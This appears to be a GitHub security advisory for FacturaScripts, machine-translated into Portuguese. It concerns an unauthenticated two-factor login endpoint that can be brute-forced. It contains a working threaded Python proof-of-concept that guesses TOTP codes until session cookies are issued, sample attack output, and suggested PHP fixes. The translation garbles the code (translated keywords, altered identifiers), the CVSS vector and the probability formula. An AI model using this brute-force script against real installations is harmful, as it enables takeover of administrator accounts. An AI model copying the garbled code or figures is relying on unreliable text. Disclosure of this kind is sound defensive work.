# Autenticação de bypass em FacturaScripts: `/ login?action=validação de dois fatores` aceita o TOTP forçado pela bruta sem senha ou proteção CSRF `Core/Controller/Login.php::twoFactorValidationAction()` aceita um POST não autenticado contendo apenas `fsNick` e `fsTwoFactorCode`. Se o valor TOTP corresponde, o servidor emite um par completo de cookies de sessão `fsNick` + `fsLogkey`. O manipulador: 1 **Não verifica a senha** — o usuário não é obrigado a ter acabado de preencher o 'LoginAction'. 2. **Não chama `validateFormToken()'** — não é necessário nenhum token CSRF (todos os outros manipuladores de ação no mesmo arquivo o chamam). 3. ** Não chama ` userHasManyIncidents()` antes do processamento** — ` loginAction` e `changePasswordAction` ambos verificam este protetor *antes de* fazer o trabalho; o 2 O gestor de FA só escreve para a lista de incidentes *após* um falha, e a lista de incidentes é consultada por ` loginAction` / `changePasswordAction`, mas não pelo 2 O próprio manipulador de FA. O objetivo, portanto, tem ** nenhuma taxa- limitando em tudo**. Combinado com `Gestão de DoisFatores::VERIFICATION_WINDOW = 8 ` (google) 2 Fa padrão é 1 ), 17 códigos distintos de seis dígitos são válidos simultaneamente e cada um permanece válido para ~ 4 minutos. O número esperado de adivinhações para aterrissar um código válido é > N їIn( 0.5 ) / In( 1 − 17 / 10 ⁶) ≈ ** 40 800 ** tentativas ( 50% sucesso).

Em um LAMP padrão instalar um atacante de um único computador portátil mantém ~ 400 RPS de uma fonte IP — alguns minutos por conta. A vulnerabilidade dá ** completa tomada de conta** de qualquer 2 Utilizador habilitado para FA a qualquer atacante de rede não autêntico que saiba o nick do alvo. Os nicks de administração são tipicamente informações públicas (`admin`, o nome da empresa, as iniciais da pessoa). **CVSS 4.0 pontuação de base: 9.3 — Crítico**. Vetor: `CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/África do Sul:N` Dimensions Valor logicidade............................................................................................................................ 2 Utilizador habilitado para FA............................................................................................................................. 2 FA habilitado............................................................................................................................... 2 Tentativas de FA acumulam-se no contador de incidentes por usuário, que bloqueia então a login do usuário legítimo através de ` loginAction` para 10 minutos (`MAX_INCIDENT_COUNT = 6 `, ` INCIDENTE_EXPIRAÇÃO_ TEMPO = 600 `). DoS de bloqueio de contas direcionado contra qualquer nick......................................................................................................................... - Explotar a Maturidade (E): **Atacado (A)** — PoC público incluído abaixo, fica fora da caixa.

Componente afetado. - Arquivo: `Core/Controller/Login.php` - Método: `twoFactorValidationAction()` (linhas) 317 – 328 no repositório no commit ` 7392 b 489 b`, ramo mestre a partir de 2026 - 05 - 13 ) - Relacionado: `Core/ Liber/ TwoFactorManager.php: 30 ` (` VERIFICAÇÃO_VINHO = 8 `). ```php protected function twoFactorValidationAction(Request $request): vazio { $userName = $request->input('fsNick'); $user = new User(); se (!$user->load($userName).!$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Ferramentas::log()->alerta('dois-fatores-código-inválido'); $this->saveIncident(Session::getClientIp(), $userName); devolva; } $this->updateUserAndRedirect($user, Sessão::getClientIp(), $request); } ```. Compare com ` loginAction` no mesmo arquivo, que chama `validateFormToken()` (linha) 275 ) e ` userHasManyIncidents()` (linha 287 ) *antes de* fazer qualquer trabalho. O 2 O manipulador de FA não faz nada. ### 1. Força bruta quando somente o nick da vítima é conhecido. Isto requer ** nenhum conhecimento prévio** além do nick do alvo. Porque o 2 O objetivo da AF não tem limite de taxa e `VERIFICAÇÃO_WINDOW= 8 ` mantém ~ 17 códigos válidos de uma vez, a aleatória adivinhação encontra um código válido em segundos a minutos de um único IP.

```python #!/usr/bin/env python 3 PoC: força bruta 2 Endpoint da AF. Obrigatório: pip instalar pedidos """ importar os, sistemas, tempo, aleatório, threading, pedidos BASE = os.environ.get("BASE", " 9999 ") NICK = os.environ.get("NIK", "admin") MISAGENS = int(os.environ.get("THREADS", " 32 ")) MAX_TRIES = int(os.environ.get("MAX_TRIES", " 200000 ")) acertado = threading.Event() a tentative_count = [ 0 ] lock = threading.Lock() start = time.time() result = {} def worker( tid: int) -> Nenhum: s = solicita.Sessão() enquanto não foi acertado.is_set(): com bloqueio: n = tentativa_conta[ 0 ] se n >= MAX_TRIES: retorna o test_count[ 0 ] += 1 código = f" {random.randint( 0, 999999 ): 06 d}" try: r = s.post(f"{BASE}/ login", data={"ação": "validação de dois fatores", "fsNick": NICK, "fsTwoFactorCode": código}, allow_redirects=False, timeout= 5 ) exceto solicitações.RequestException: continue sc = r.headers.get("Set-Cookie", "") se r.status_code == 302 e "fsLogkey" em sc: com lock: se hit.is_set(): retorno resultado hit.set() = resultado de código["n"] = n resultado["cookies"] = {c. name: c. valor para c em r.cookies} retorno.

def main() -> int: print(f"[*] target={BASE} nick={NIK} threads={THREADS}") threads = [threading.Thread(target=worker, args=(i,), daemon=True) para i no intervalo(THREADS)] para t em threads: t.start() enquanto não acerta.is_set() e tentativa_count[ 0 ] 7 d} " f"rps={intempt_count[ 0 ]/max(decorreu, 1 ):. 0 f}", wrish=Verdade) para t em threads: t. join() transpensed = time.time() - start se hit.is_set(): print( f"\n[+] FOUND code={result['code']} após {result['n']:,} " f"atentos em {elasted:. 1 f}s") cookie_hdr = "; ".join(f"{k}={v}" para k, v no resultado["cookies"]. items() print(f"[+] Cookies: {cookie_hdr}") print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser") retorna 0 print( f"[-] {tempt_count[ 0 ]:,} tentativas em {elasced:. 1 f}s, sem batimento") de retorno 1 se __nom__== "__main__": sys. exit(main()) ```. Resultado observado contra a mesma instalação (o usuário vítima tem 2 FA habilitado, o atacante só conhece o nick `vítima`: ``` [*] alvo= 9999 nick= threads de vítimas= 32 [ 2.2 s] tentativas= 1094 rps= 493 [ 24.4 s] tentativas= 11535 rps= 473 [ 50.0 s] tentativas= 23420 rps= 468 [ 100.7 s] tentativas= 41247 rps= 410 [ 144.9 s] tentativas= 55418 rps= 383 [+] Código encontrado= 055473 após 55,773 tentativas em 146.0 s [+] Cookies: fsNick=victim; fsLogkey= 47 qZDmjcHaS 2 z 2 pLsqKWsKbb 8 vlGfZaYEiUUfcvWHlDXSZl 9 LFg 8 ux 7 EYX 1 fzTkeNSgM 5 ASQ 7 s 5 ohr 8 ROAclvlK 1 GCxACia 21 N; fsLang= pt_ PT ```.

Uma segunda execução terminou em 24.6 s depois 11 569 tentativas. Ambas as rodadas usaram um IP de fonte única sem rotação de proxy, sem HTTP/ 2, sem hosts paralelos. Para cada 2 Utilizador habilitado para FA (incluindo administradores). - **Confidentialidade**: acesso completo à leitura de tudo o que a vítima pode ver — faturas, dados do cliente, fornecedores, livros contábeis, arquivos anexos, PII do usuário, chaves API, configuração de plugins. - **Integridade**: acesso completo à gravação — criar/modificar/effacer registros, alterar permissões, emitir novas chaves API, carregar plugins, instalar código (admin). - **Disponibilidade**: bloqueio de contas direcionadas DoS — gerando seis falhas 2 Tentativas de FA ( invece) 1 s de ruído de força bruta) empurra o contador de incidentes por usuário para além de ` MAX_INCIDENT_COUNT = 6 `, bloqueando o usuário legítimo a partir de ` loginAction` para 10 minutos. Repetível indefinidamente. A vulnerabilidade derrota todo o propósito do 2 FA em FacturaScripts: habilitando 2 A FA em uma conta hoje é estritamente * mais fraca* do que não a habilitar, porque adiciona um caminho de login não autêntico e forçado que não estava presente antes. São necessárias quatro correções independentes; cada uma fecha uma lacuna distinta e qualquer uma por si só é insuficiente.

1 **Requer evidências que o usuário acabou de completar o passo da senha.** Em `LoginAction`, após o sucesso da `VerifyPassword` e 2 A FA é necessária, escreva um nãoce de curta duração teclado por `(client_ip, user_nick)` para o cache compartilhado (por exemplo, `Cache::set(" 2 Fa- pendente- {ip}- {nick}", $nonce, ttl= 300 )`). `twoFactorValidationAction` deve ler, validar e excluir essa nonce antes de chamar `verifyTwoFactorCode`. Sem o ace, retorna imediatamente. 2 ** Chame `validateFormToken($request)` no topo de `twoFactorValidationAction`.** Todos os outros manipuladores de ação no controlador fazem isso; o 2 O manipulador de FA também deve. Elimina as submissões do CSRF. 3 ** Chame `userHasManyIncidents' (Sessão::getClientIp(), $userName)` antes de fazer qualquer trabalho em `doisFactorValidationAction`**, e saia se o limiar for ultrapassado. Este é o limite de taxa que falta antes da verificação. 4. **Reduzir `Gestão de DoisFatores::VERIFICAÇÃO_WINDOW` a partir de 8 para 1.** O Google 2 Fa padrão é 1 (± 30 s). Uma janela de 8 multiplica a taxa de sucesso da força bruta por 17 × sem motivo legítimo — os aplicativos TOTP e o relógio do servidor são tipicamente sincronizados dentro de um único 30 - segundo passo.

Patch sugerido (ilustrativo). ```php // Core/ Controller/Login.php protegeu a função doisFactorValidationAction(Request $request): vazio { se (false === $this->validateFormToken($request)) { // corrigir 2 devolver; } $userName = $request->input('fsNick'); se ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // corrigir 3 Ferramentas::log()->alert('ip- banned'); retorno; } $nonceKey = ' 2 Fa- pendente-'. Sessão::getClientIp(). '-'. $userName; se (falso === Cache::get($nonceKey)) { // corrigir 1 Ferramentas:::log()->alerta('dois-fator- sem- pendente- login'); $this->saveIncident(Sessão::getClientIp(), $userName); devolução; } Cache:::delete($nonceKey); $user = novo usuário(); se (!$user->load($userName).!$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Ferramentas::log()->alerta('dos-fatores-código-inválido'); $this->saveIncident(Sessão::getClientIp(), $userName); devolução; } $this->updateUserAndRedirect($user, Sessão::getClientIp(), $request); } // Core/ Liber/ TwoFactorManager.php VERIFICAÇÃO_WINDOW privada de const = 1; // corrigir 4 — foi 8 ``` ` loginAction` então precisa da gravação de nonce correspondente onde atualmente configura `$this->two_factor_user`:.

```php if ($ user->two_factor_ habilitado) { Cache::set(') 2 Fa- pendente-'. Sessão::getClientIp(). '-'. $user->nick, bin 2 hex( aleatorie_bytes() 16 )), 300 ); $this->two_factor_user = $user->nick; $this->template = 'Login/TwoFactor.html.twig'; retorno; } ```` Testado em uma instalação limpa construída a partir de `master` no commit ` 7392 b 489 b`: # força bruta (apenas nick conhecido) — segredo no servidor pode ser qualquer coisa NICK=VICTIMA MISURAS= 32.venv/bin/python poc_ 2 fa_brute.py ``` Registro de aconselhamento: GHSA- c 67 f- gmxw- mj 93. Identificadores relacionados: CVE- 2026 - 47677.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 13 T 23: 35: 48.000 Z e lista a sua última modificação como 2026 - 07 - 13 T 23: 35: 48.000 Z. Gravidade: Crítico. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/África do Sul:N. Informações sobre software e versão afetadas: Faturascripts/faturascripts do pacote Packagist — ECOSYSTEM: introduzido 0, corrigido 2026.3. Classificação e evidência: identificadores de fraqueza CWE- 287. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.